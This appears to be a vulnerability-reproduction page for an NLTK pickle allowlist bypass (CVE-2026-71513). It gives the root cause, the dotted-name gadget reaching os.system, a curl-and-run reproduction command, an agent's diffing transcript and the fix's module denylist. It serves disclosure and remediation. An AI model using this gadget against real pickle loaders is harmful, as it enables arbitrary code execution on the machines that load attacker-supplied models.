CVE-2026-71513: Verified Reproduction
CVE-2026-71513: NLTK <3.10.3 RCE in AllowlistUnpickler — validates pickle module string but not global name; dotted-name traversal escapes allowlist to reach arbitrary callables
CVE-2026-71513 is verified against nltk/nltk · github. Affected versions: nltk < 3.10.3. Fixed in 3.10.3. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00336.
What Is CVE-2026-71513?
CVE-2026-71513 is a high-severity RCE vulnerability affecting nltk/nltk nltk < 3.10.3. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00336).
CVE-2026-71513 Severity
CVE-2026-71513 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected nltk/nltk Versions
nltk/nltk · github versions nltk < 3.10.3 are affected.
How to Reproduce CVE-2026-71513
pruva-verify REPRO-2026-00336 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00336/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-71513
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
protocol-4 pickle file: GLOBAL module='nltk.tokenize' name='stanford_segmenter.os.system' + REDUCE with attacker shell command
- nltk.tokenize.punkt.punkt_pickle_load
- nltk.picklesec.AllowlistUnpickler.find_class (module-prefix allowlist passes, dotted name getattr-chains to os.system)
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-71513
NLTK before 3.10.3 ships nltk.picklesec.AllowlistUnpickler, a pickle.Unpickler
subclass meant to safely load untrusted model/data pickles by allowing only
audited globals. Its find_class(module, name) hook validated only the module
string against a prefix allowlist (allowed_modules) / exact-pair allowlist
(allowed_globals) and never inspected name. For pickle protocol >= 4,
pickle.Unpickler.find_class resolves the global by getattr-chaining the
(possibly dotted) name starting from the imported module. An attacker can
therefore keep the module string inside an allowlisted namespace (e.g.
nltk.tokenize) while putting the escape into the name:
stanford_segmenter.os.system. The allowlist passes, the dotted traversal
reaches os.system, and a following REDUCE executes an arbitrary shell
command while NLTK loads the "model". Fixed in NLTK 3.10.3.
- Package/component:
nltk—nltk.picklesec.AllowlistUnpickler, reached via the public data-loading entrypointsnltk.tokenize.punkt.punkt_pickle_load(legacy Punkt pickle models, allowlist("nltk.tokenize.punkt", "nltk.tokenize")) andnltk.parse.transitionparser.TransitionParsermodel loading (allowlist("numpy", "scipy", "sklearn")). - Affected versions: nltk < 3.10.3 (confirmed on 3.10.2).
- Risk: high — arbitrary code execution with the privileges of the Python process that loads an attacker-controlled pickle (e.g. a downloaded "compatible" Punkt model or parser model file).
Impact Parity
- Disclosed/claimed maximum impact: code execution (RCE).
- Reproduced impact from this run: code execution — the attacker command
echo PRUVA_RCE_<attempt> > <marker>ran viaos.systemon 2/2 vulnerable attempts through the real public entrypoint; marker contents verified. - Parity:
full. - Not demonstrated: nothing material — the claimed impact was demonstrated end-to-end against the real library API.
Root Cause
nltk/picklesec.py (3.10.2), AllowlistUnpickler.find_class:
def find_class(self, module: str, name: str) -> Any:
if (module, name) in self._allowed_globals or self._module_allowed(module):
return super().find_class(module, name)
raise pickle.UnpicklingError(...)
Only module is checked against the prefix allowlist. The base-class
implementation for protocol >= 4 does:
__import__(module)
return _getattribute(sys.modules[module], name) # getattr-chains "a.b.c"
so name="stanford_segmenter.os.system" with module="nltk.tokenize"
resolves nltk.tokenize.stanford_segmenter (a submodule that import os) →
os → system, a callable the module allowlist never intended to expose.
NLTK 3.10.3 fixes this in nltk/picklesec.py by rejecting dotted and dunder
names before resolution (Guard 1/2), adding a denied-module prefix backstop
(os, subprocess, builtins, nltk.internals, ...) that applies even under
a broad allowlist (Guards 3–5), and re-checking the resolved object's true
__module__/__qualname__ after resolution (_resolve). Fix reference:
GHSA-4489 / GHSA-x99w hardening in nltk.picklesec (nltk 3.10.3 release).
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; reuses the prepared project cache for wheels/site dirs, falling back topip+ a local artifacts dir).- The script installs
nltk==3.10.2(vulnerable) andnltk==3.10.3(fixed) into isolated--targetsite dirs, verifies the dotted-name guard is absent in 3.10.2 and present in 3.10.3, then runsbundle/repro/harness.pytwice per side. The harness crafts a protocol-4 pickleREDUCE(GLOBAL("nltk.tokenize", "stanford_segmenter.os.system"), (cmd,))and feeds it to the real public entrypointnltk.tokenize.punkt.punkt_pickle_load. - Expected evidence: each vulnerable attempt creates
repro/marker_vuln_<n>.txtcontainingPRUVA_RCE_vuln<n>(harness exit 10); each fixed attempt raisesUnpicklingError: ... has a dotted name, which is forbiddenand creates no marker (harness exit 11). Script exits 0 only if 2/2 + 2/2 hold.
Evidence
bundle/logs/reproduction_steps.log/reproduction_steps_run2.log— full script output for two consecutive runs (both exit 0).bundle/logs/harness_vuln_{1,2}.log—nltk=3.10.2,punkt_pickle_load returned: 0,MARKER CONTENT: PRUVA_RCE_vuln<n>,RESULT: VULNERABLE - attacker command executed.bundle/logs/harness_fixed_{1,2}.log—nltk=3.10.3,BLOCKED with UnpicklingError: global 'nltk.tokenize.stanford_segmenter.os.system' has a dotted name, which is forbidden (attribute-traversal pickle RCE, GHSA-4489).bundle/repro/marker_vuln_{1,2}.txt— files created by the attacker command.bundle/repro/payload_{vuln,fixed}{1,2}.pickle— exact 87-byte malicious pickles used.- Environment: Python 3.14.4, pip 25.1.1, linux x86_64.
Vulnerable wheel
nltk-3.10.2-py3-none-any.whlsha2562c7ccacb765c5e26b0cb60fb1b57080af522c6924d12a714a243305ba3637412; fixed wheelnltk-3.10.3-py3-none-any.whlsha256ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c. bundle/repro/runtime_manifest.json— structured runtime evidence (entrypoint_kind=function_call,target_path_reached=true).
Recommendations / Next Steps
- Upgrade to nltk >= 3.10.3.
- Fix approach (already upstream): reject dotted/dunder global names before
resolution; apply a denied-module backstop even under prefix allowlists;
re-verify the resolved object's true
__module__/__qualname__; refuse module-object results. - Defense in depth for downstream users: never load pickle data from untrusted or unauthenticated sources even behind an allowlisting unpickler; prefer non-pickle model formats.
- Testing: regression-test that
find_classrejects("nltk.tokenize", "stanford_segmenter.os.system"),("sklearn", "os.system"), in-namespace gadgets (numpy.f2py.crackfortran.myeval,ReppTokenizer._execute), and that legitimate single-qualname model pickles still load.
Additional Notes
- Idempotency:
reproduction_steps.shran twice consecutively, both exit 0; the second run reused the cached site dirs/wheels. - The escape gadget
stanford_segmenter.os.systemworks becausenltk.tokenize/__init__.pyimports thestanford_segmentersubmodule, which itself doesimport os; any allowlisted package with anos-importing submodule in its attribute tree is equally exposed (e.g.sklearn.os.systemper the upstream regression test). - No sanitizer or mock was used; the proof executes the real library code path and observes a real command side effect.
CVE-2026-71513 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
python3 --version; pip --version; pip index versions nltk 2>/dev/null | head -5 || pip install nltk== 2>&1 | head -5Python 3.14.4 pip 25.1.1 from /usr/lib/python3/dist-packages/pip (python 3.14) nltk (3.10.3) Available versions: 3.10.3, 3.10.2, 3.10.1, 3.10.0, 3.9.4, 3.9.3, 3.9.2, 3.9.1, 3.9, 3.8.1, 3.8, 3.7, 3.6.7, 3.6.6, 3.6.5, 3.6.3, 3.6.2, 3.6.1, 3.6, 3.5, 3.4.5, 3.4.4, 3.4.3, 3.4.2, 3.4.1, 3.4, 3.3.0, 3.2.5, 3.2.4, 3.2.3, 3.2.2, 3.2.1, 3.2, 3.1, 3.0.5, 3.0.4, 3.0.3, 3.0.2, 3.0.1, 3.0.0, 2.0.5, 2.0.4, 2.0.3, 2.0.2, 2.0.1
mkdir -p /pruva/project-cache/wheels /tmp/nltk_v /tmp/nltk_f
pip download --no-deps -d /pruva/project-cache/wheels nltk==3.10.2 nltk==3.10.3 2>&1 | tail -3
cd /tmp/nltk_v && unzip -oq /pruva/project-cache/wheels/nltk-3.10.2-py3-none-any.whl
cd /tmp/nltk_f && unzip -oq /pruva/project-cache/wheels/nltk-3.10.3-py3-none-any.whl
grep -rn "AllowlistUnpickler" /tmp/nltk_v/nltk | head -202. remove package versions to allow pip to attempt to solve the dependency conflict ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
pip download --no-deps -d /pruva/project-cache/wheels nltk==3.10.2 2>&1 | tail -2
pip download --no-deps -d /pruva/project-cache/wheels nltk==3.10.3 2>&1 | tail -2
ls /pruva/project-cache/wheels/Saved /pruva/project-cache/wheels/nltk-3.10.2-py3-none-any.whl Successfully downloaded nltk Saved /pruva/project-cache/wheels/nltk-3.10.3-py3-none-any.whl Successfully downloaded nltk nltk-3.10.2-py3-none-any.whl nltk-3.10.3-py3-none-any.whl
cd /tmp/nltk_v && unzip -oq /pruva/project-cache/wheels/nltk-3.10.2-py3-none-any.whl
cd /tmp/nltk_f && unzip -oq /pruva/project-cache/wheels/nltk-3.10.3-py3-none-any.whl
grep -rln "AllowlistUnpickler\|find_class\|RestrictedUnpickler" /tmp/nltk_v/nltk /tmp/nltk_f/nltk | sort -u/tmp/nltk_f/nltk/app/wordnet_app.py /tmp/nltk_f/nltk/data.py /tmp/nltk_f/nltk/parse/transitionparser.py /tmp/nltk_f/nltk/picklesec.py /tmp/nltk_f/nltk/test/unit/test_pickle_allowlist_security.py /tmp/nltk_f/nltk/test/unit/test_pickle_load_warnings.py /tmp/nltk_f/nltk/test/unit/test_security.py /tmp/nltk_f/nltk/tokenize/punkt.py
diff -u /tmp/nltk_v/nltk/picklesec.py /tmp/nltk_f/nltk/picklesec.py | head -200{"cwd":"/workspace","duration_ms":58,"exit_code":0,"stderr":"","stdout":"--- /tmp/nltk_v/nltk/picklesec.py\t2026-07-06 03:27:58.000000000 +0000\n+++ /tmp/nltk_f/nltk/picklesec.py\t2026-08-12 13:42:52.000000000 +0000\n@@ -22,6 +22,7 @@\n from __future__ import annotations\n \n import pickle\n+import types\n import warnings\n from collections.abc import Iterable\n from typing import Any, BinaryIO\n@@ -77,17 +78,98 @@\n return WarningUnpickler(file, context=context).load()\n \n \n+# Modules whose globals are never safe to reconstruct from an untrusted pickle,\n+# even when a broad parent namespace is allowlisted. This denylist is a\n+# defense-in-depth backstop: if a caller (now or in the future) allows a wide\n+# namespace such as ``numpy`` or ``nltk.tokenize``, an in-namespace gadget like\n+# ``numpy.f2py.crackfortran.myeval`` (eval sink) or\n+# ``nltk.tokenize.repp.ReppTokenizer._execute`` (subprocess sink) still cannot\n+# be resolved (GHSA-x99w). Matched by exact module or ``prefix + \".\"``.\n+_DENIED_MODULE_PREFIXES = (\n+ \"os\",\n+ \"nt\",\n+ \"posix\",\n+ \"subprocess\",\n+ \"sys\",\n+ \"socket\",\n+ \"shutil\",\n+ \"signal\",\n+ \"pty\",\n+ … [truncated]diff -u /tmp/nltk_v/nltk/picklesec.py /tmp/nltk_f/nltk/picklesec.py | sed -n '200,320p'; echo ====; sed -n '1,80p' /tmp/nltk_v/nltk/picklesec.py{"cwd":"/workspace","duration_ms":61,"exit_code":0,"stderr":"","stdout":"+ )\n+ if self._module_allowed(module):\n+ return self._resolve(module, name)\n raise pickle.UnpicklingError(\n f\"global '{module}.{name}' is not in the pickle allowlist\"\n )\n \n \n+# A tiny set of individually-safe globals that live in an otherwise-denied\n+# module. ``builtins`` is denied wholesale (Guard 3), but a few immutable\n+# builtin types are needed by legitimate model pickles (e.g. defaultdict's\n+# default_factory is ``int``). These are non-callable-as-a-sink primitives.\n+_SAFE_DENIED_GLOBALS = frozenset(\n+ {\n+ (\"builtins\", \"int\"),\n+ (\"builtins\", \"float\"),\n+ (\"builtins\", \"complex\"),\n+ (\"builtins\", \"bool\"),\n+ (\"builtins\", \"str\"),\n+ (\"builtins\", \"bytes\"),\n+ (\"builtins\", \"list\"),\n+ (\"builtins\", \"tuple\"),\n+ (\"builtins\", \"dict\"),\n+ (\"builtins\", \"set\"),\n+ (\"builtins\", \"frozenset\"),\n+ }\n+)\n+\n+\n def allowlisted_pickle_load(\n file: BinaryIO,\n *,\n====\n# Natural Language Toolkit: Safer pickle loa… [truncated]grep -n "AllowlistUnpickler\|allowlisted_pickle_load\|allowed_globals\|allowed_modules" /tmp/nltk_v/nltk/data.py /tmp/nltk_v/nltk/parse/transitionparser.py /tmp/nltk_v/nltk/tokenize/punkt.py /tmp/nltk_v/nltk/app/wordnet_app.py 2>/dev/null | head -30
echo ====
diff -u /tmp/nltk_v/nltk/data.py /tmp/nltk_f/nltk/data.py | head -60/tmp/nltk_v/nltk/parse/transitionparser.py:24:from nltk.picklesec import allowlisted_pickle_load /tmp/nltk_v/nltk/parse/transitionparser.py:571: model = allowlisted_pickle_load(f, allowed_modules=_MODEL_ALLOWED_MODULES) /tmp/nltk_v/nltk/tokenize/punkt.py:116:from nltk.picklesec import allowlisted_pickle_load /tmp/nltk_v/nltk/tokenize/punkt.py:129: This helper loads them through :class:`~nltk.picklesec.AllowlistUnpickler` /tmp/nltk_v/nltk/tokenize/punkt.py:134: return allowlisted_pickle_load(file, allowed_modules=_PUNKT_ALLOWED_MODULES) ====
grep -n "_MODEL_ALLOWED_MODULES\|_PUNKT_ALLOWED_MODULES" -r /tmp/nltk_v/nltk | head
echo ====
grep -n -B2 -A25 "_MODEL_ALLOWED_MODULES =" /tmp/nltk_v/nltk/parse/transitionparser.py
echo ====
grep -n -B2 -A20 "_PUNKT_ALLOWED_MODULES =" /tmp/nltk_v/nltk/tokenize/punkt.py{"cwd":"/workspace","duration_ms":61,"exit_code":0,"stderr":"","stdout":"/tmp/nltk_v/nltk/parse/transitionparser.py:30:_MODEL_ALLOWED_MODULES = (\"numpy\", \"scipy\", \"sklearn\")\n/tmp/nltk_v/nltk/parse/transitionparser.py:571: model = allowlisted_pickle_load(f, allowed_modules=_MODEL_ALLOWED_MODULES)\n/tmp/nltk_v/nltk/tokenize/punkt.py:120:_PUNKT_ALLOWED_MODULES = (\"nltk.tokenize.punkt\", \"nltk.tokenize\")\n/tmp/nltk_v/nltk/tokenize/punkt.py:134: return allowlisted_pickle_load(file, allowed_modules=_PUNKT_ALLOWED_MODULES)\n====\n28-# allowing only these scientific-stack modules lets a genuine model load while\n29-# blocking arbitrary-code gadgets (os, posix, subprocess, builtins, ...).\n30:_MODEL_ALLOWED_MODULES = (\"numpy\", \"scipy\", \"sklearn\")\n31-\n32-\n33-class Configuration:\n34- \"\"\"\n35- Class for holding configuration which is the partial analysis of the input sentence.\n36- The transition based parser aims at finding set of operators that transfer the initial\n37- configuration to the terminal configuration.\n38-\n39- The configuration includes:\n40- - Stack: for storing partially proceeded words\n41- - Buffer: for stori… [truncated]Artifacts and Evidence for CVE-2026-71513
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-71513
Upgrade nltk/nltk · github to 3.10.3 or later.
FAQ: CVE-2026-71513
Is CVE-2026-71513 exploitable?
How severe is CVE-2026-71513?
What type of vulnerability is CVE-2026-71513?
Which versions of nltk/nltk are affected by CVE-2026-71513?
Is there a fix for CVE-2026-71513?
How can I reproduce CVE-2026-71513?
Is the CVE-2026-71513 reproduction verified?
References for CVE-2026-71513
Authoritative sources for CVE-2026-71513 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.